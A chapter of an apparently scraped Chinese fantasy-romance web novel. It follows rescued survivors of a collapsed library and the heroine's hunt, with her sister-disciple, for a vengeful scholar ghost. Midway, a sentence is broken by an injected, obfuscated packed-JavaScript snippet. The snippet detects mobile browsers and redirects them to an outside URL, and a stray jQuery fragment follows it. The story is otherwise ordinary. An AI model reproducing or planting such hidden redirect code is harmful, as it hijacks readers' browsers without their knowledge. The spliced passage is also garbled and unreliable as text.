废墟深处,断木层叠中,漏进来细细一缕金色的阳光,映照见细碎轻盈的尘在漂浮。
舒湛川仰躺在凹凸不平的沙砾地上,背后被擦伤严重,火辣辣的疼,严漱玉伏在他胸前纹丝不动。
“喂。”
他轻推女子肩头不见反应,指腹搭上她手腕,脉象虚弱,但还平稳,或许是力竭晕过去了。
他松了一口气。
原以为在劫难逃,谁知木楼坍塌时地板陷落,竟将他们送入这地下室中。
舒湛川耳尖微动,已听见地面上搜寻之声,应该很快就能出去了。
这地下一层是砖砌的基础,为了防水抬高出来一个空间,横梁柱木坚实异常,在废墟下撑起方寸之地。
知道她伤得最重,舒湛川没多想,陷落时用身体护着她以减少伤害,如今两人滚作一处,几乎脸贴着贴脸,此刻她气息灼热,呵在他颈间潮湿滚烫,舒湛川侧目,看到她耳垂上有一粒小小圆圆的痣,他脑子忽然有些混沌起来,脸不受控制住的红透了,几乎要燃烧起来。
他仓皇四顾,不敢再看,他们所在的空间狭窄只有半人高,不足够站起来,舒湛川躺着休息片刻,艰难起身,小心翼翼扶起严漱玉,脱下外袍叠作枕垫,让她躺得安稳些。
他自查一道,却无外伤,可总觉得呼吸不畅,怕伤在内里,连忙盘膝而坐运功调息。
陷落后几人分散,但相隔不远,舒湛川侧耳,听到了罗芷幼在唤赵子谦。
原来跌落时赵子谦紧拽着她,倒成了她的肉垫。此刻这小郡主云鬓散乱,罗裙污皱,却仍强撑着架子,她心里害怕,也顾不得失礼,只不停的找赵子谦说话。
赵子谦退开半步蹲着,好脾气地一一应答,像个小二。
“我没听到表哥他们的声音,你听到了吗。”
赵子谦竖起耳朵:“没有。”
“上头这般吵闹,是不是有人来救我们。”
赵子谦说:“想必是的。”
“那这时候我应该大喊救命?”
“按道理来说是。”
罗芷幼的脸脏脏的,层层叠叠的罗裙,也皱成了一团,她看着自己脏污的手指:“我是郡主,合该你呼救才是。”
赵子谦:“那只是按道理来说,现在这个情况,大的声音会让这个楼再次塌掉。”
“……”罗芷幼噤声,巴巴望着透下的一线天光。
一块木板突然颤动。沾满灰尘的手从缝隙中伸出,马卓狼狈地爬出来,他也没想到还能熬过那漫长的一夜,赵子谦恰巧蹲在他边上,见他出来,不着痕迹的退了两步。
两个人目光相接,罗芷幼隔着赵子谦也盯着他,气氛陷入诡异中。
地面上似乎又来了许多人,挖掘翻找、敲击的声音越来越大,地面上人声渐近,嘈杂声惊醒了严漱玉,她浑身疼痛,眼前只剩模糊光影,她摸一把自己的脸,喃喃道:“没死。”
“什么?”舒湛川没听清,俯身侧耳。
她不知道自己的脸正对着舒湛川,舒湛川对上她的眼睛,蛇瞳渐退散,金芒流转眼中,配合她沾满血污的脸,竟然生出了一股妖冶的美来。
舒湛川面色腾地红起来,莫名其妙,他的心尖似乎被羽毛拂过,软软,痒痒的。
严漱玉一只手掐上他的脖子,冰凉的手感,让他错愕:“你......”
严漱玉撑着身体半卧着,眼睛直勾勾盯着他的颈窝,嘴巴一张一合,念念有词。
舒湛川垂眸,见她指尖泛起微光来。
“与它接触留下的阴气,会缠人,虽不会立时毙命,却会日渐虚弱,最终被慢慢耗死。”严漱玉看那怨祟的黑色指印消散才松手,看他看自己眼神古怪,又解释道:“通俗来说,就是做鬼缠身。”
一缕黑烟散去,舒湛川摸了摸自己的脖颈,确感呼吸顺畅许多。
“多谢。”
“嗯。”
沉默半晌,她抓住他的手,舒湛川下意识抵抗,严漱玉却道:“别动。”
她将手绳解下来,绑在了他的手上。
“这是何物。”舒湛川看她一连串的动作,端详那赤玉。
没有异样,就是个普通的饰品,浸了血液,黑里透着红色。
“小玩意罢了。”严漱玉皱眉,又把它带回自己的手上,赤玉现下泛着暗暗的红光,像是会呼吸,与她的心脏同频。
严漱玉心里有计较:彼时金瞳未退,她陷落昏迷之前,看到红色烟雾自她手上的赤玉喷薄而出,紧接着地下有巨大的石柱断裂,砸开了这个地下空间,恐怕都与此玉有关,她暗想,这块赤玉恐怕暗藏玄机。
舒湛川看不见,严漱玉突然又把手绳收了回去,他眼底反而有些异样。
严漱玉笑了起来:“你看,我运气好吧。”
舒湛川以手撑地,笑道:“我也不差。”
人声嘈杂,脚步纷乱。
在一中家仆与书院带学生来的教谕秦广齐心协力之下,终于搬开残垣,见到狼狈不堪的几人。
县主昏醒脏兮兮的坐在地上,旁边还两个同窗,一个满脸是血,一个脸上全是巴掌印,
舒小公子在坑底的另一头,严漱玉半死不活,躺在地上。
见有人来了,严漱玉拖着佝偻的身躯,像个七旬老妪般挪动,被几个柳枝柳新扶上马车,她靠在轿中,她已连抬手的力气都没了。
一行人乌泱泱进了城,城门前等候查验,舒湛川骑马在一侧,严漱玉听到马蹄声才挑开车帘,目光涣散,却绽开一抹笑:“舒湛川,是不是算我赢了。”
舒湛川知道她说的是赌约一事,虽然不能算是严漱玉教会他实招,今日之遭遇,也算是他亲手击退了怨祟,他若要较真,严漱玉算不得赢。
但严漱玉狼狈不堪,面色苍白落入他眼中,鬼使神差地,他听到自己说:“算你赢。”他又问,“你要我做什么。”
严漱玉想了想:“等我找你。”
“你来乘风镖局找我?”
严漱玉扶着窗探头,梨涡浅浅:“可以,你到时别耍赖!”
舒湛川眯起了眼,他在她后方两三步,她的话却是对着正前方说的。
柳枝忍不住提醒:“小姐,舒公子人在后方。”
“……”
此时城门官兵查验身份完毕放行,马车徐徐,被推着往前走,车与马被人流阻隔,严漱玉便将帘子放下来。
舒湛川入城时,只见她的马车远远剩个影儿。
他想着勾起唇角,调转马头。
察觉得自己似乎有所期待,他嘴角的笑突然冷下来,不过月余相处,定是独处太久生了什么错觉。
舒湛川认定如此,刻意不再想这件事。
他回到乘风镖局,一进门舒玉韬见其身上脏兮兮又有伤,二话不说就提着剑追砍:“让你去读书不是去打架的!”少年满院逃窜,愣是找不到解释的间隙。
罗芷幼睡了一路,在闺房中悠悠转醒,第一件事便是追问其他三人安危。得知众人无恙后,她长舒一口气。任凭父母兄长如何追问昨夜遭遇,她始终不提。
她从小到大追着舒湛川是人尽皆知的事,没想盲目之下中了别人的圈套,她作为县主本就骄傲在上,如今就死一生也让她不由审视自己,那满腔热忱,究竟是真心恋慕,还是自幼被人哄着捧着养出的执念?
她抬手遮住眼睛,忽然轻笑一声。
赵子谦回到府邸时衣衫破烂,刚跨过门槛就听见蔓香尖利的斥骂声:“你知道书院的衣裳值多少银钱吗?说是去读书,怎么读成这副鬼样子回来?”少年沉默地低着头,任由那些刻薄的话语如雨点般砸在身上,一言不发穿过回廊,回到自己房中。
马卓在家中摔砸东西,他心中怒气无处发泄。他原想搅浑水坏了罗芷幼名声,假冒舒湛川写信又给赵子谦下药,请了两个武师,出了事雇主也不管看了,方才在地下被罗芷幼扇了几大耳光,狠狠警告一通,觉得颜面全无,死活不肯再去书院。
严漱玉被送回家时满身血污,见她双目无神地摸索,吓得林月娥魂飞魄散,差人将坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053754|177949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
堂郎中直接扛来诊治。林氏明白出了大事。刚要开口询问,少女便昏死过去。
相较于她刚下山时,这两个月她巨大的进步,可惜这个进步灵泉山的师兄师姐没能亲眼看到。
思及此,严漱玉在眼睛恢复的第一时间,将相关事宜写在信中寄回灵泉山明月师姐处,包括那个没被彻底祓除的披发书生、那团压迫感极强的黑气,她有预感,它们一定还会出现。只是不知道在何时,何地何处。
过了五六日,严府大门被人扣响,王进见到来人一怔,忙唤柳絮引客入院。
此时严漱玉正在院中晒太阳。自旧书楼一战后,她五脏六腑仿佛被人摘出翻炒又塞回,这几日虽靠打坐调息好转不少,却仍不能一直久站着,需要静养。
“严,漱玉。”
这结结巴巴的呼唤让她蓦然睁眼,严漱玉她抬头一看,但见一袭青衣立在阶前,面如冠玉,似远山含笑,竟是明月师姐。
严漱玉强撑起身。她提着衣摆一步一歇、弯腰驼背地挪来,“师姐!你怎么来了”
明月明显不适应人多的地方,手暗暗抓着袖子道:“信……”
“信你看见了?”
明月点头:“我,我来……”
来什么?严漱玉期待地等她说完。
“来查你……”
“你是说来查我信上写的内容?你要查那书楼里的怨祟?”严漱玉大概懂了,她替明月一口气说完。
明月一巴掌按在她脑门上轻轻一推,面色绯红,怒道:“作什么,打断我!”
明月一来,给严漱玉调了几帖子猛药,第一日吃得人都变色了,第二日说话也不利索了,严漱玉以为自己要死了,连遗书都起了草,到第四日药力化开,她能直起腰走路了。
严漱玉拿出了自己凭借印象画的门籍,那是批发书生变换无数的字面中,严漱玉唯一能看清楚、记下的名字与斋号:
戊斋李伟。
明月沉吟:“书生化祟,非冤即执。你说怨祟不止一个,怕,是书楼里殒命的,不止一人”
“和考取功名有关吧。”严漱玉猜测道。
“或,或许,你说它最终被一团黑雾挟走了,是被吞噬了还是,救走了。”明月拿出最近的榜单誊抄来,一一看过:“没听说过有什么黑雾害人的悬赏。”
严漱玉道:“我看不清。那黑雾还不成形,要比书楼里的那个大上好几倍,周围还缠绕着新生的怨灵,怎么会没有害人的痕迹?”
二人沉默。
这等能吞噬怨气成长的邪物,若放任不管可能会成魔化煞,危害人间,不除不行。
“吞也好,救也罢,只要,他,们还没分开,我们就有办法找到他。”明月拿着门籍,缓缓说:“查门籍,问骨寻踪。”
明月坚持要一字一句说清原委,严漱玉与她耗去整日光阴,待商议停当,已是暮色沉沉,总算拍板下一步:
“先,去书院查。”
又休息两三日,严漱玉买了一个一模一样的铁力木回书院亲自还给山长,办理下山手续,却在山门前一拐弯,和明月假扮的丫鬟近了掌籍处。掌籍处平日无人,登记册却如山一般堆着,二人翻得满手灰黑,找出来几代学生,共十八个已经肄业李伟!
看得俩个人两眼一黑。
天南地北,找人找坟,起码要小一年的时间。
别无他法,二人抄了主要信息,就回了灵泉山。
严漱玉当即修书四方,厚着脸皮托行走江湖的师兄师姐顺路查访。
饶是如此,仍有十处需亲自探查。明月在锥子楼悬赏黑雾线索,却始终杳无音信。
秋风起时,严漱玉马不停蹄,已踏遍三州之地,一连数月没回过青州城
舒湛川经此一事软磨硬泡,兄长舒玉韬终于认清他不是当学究的料,准许他参与镖局经营,如今帮着打理镖局生意,眉宇间少了几分浮躁。
偶有路人看见舒小公子策马经过严府,无论是朱门紧闭还是洞开,总能见他远远看一眼,才策马而去。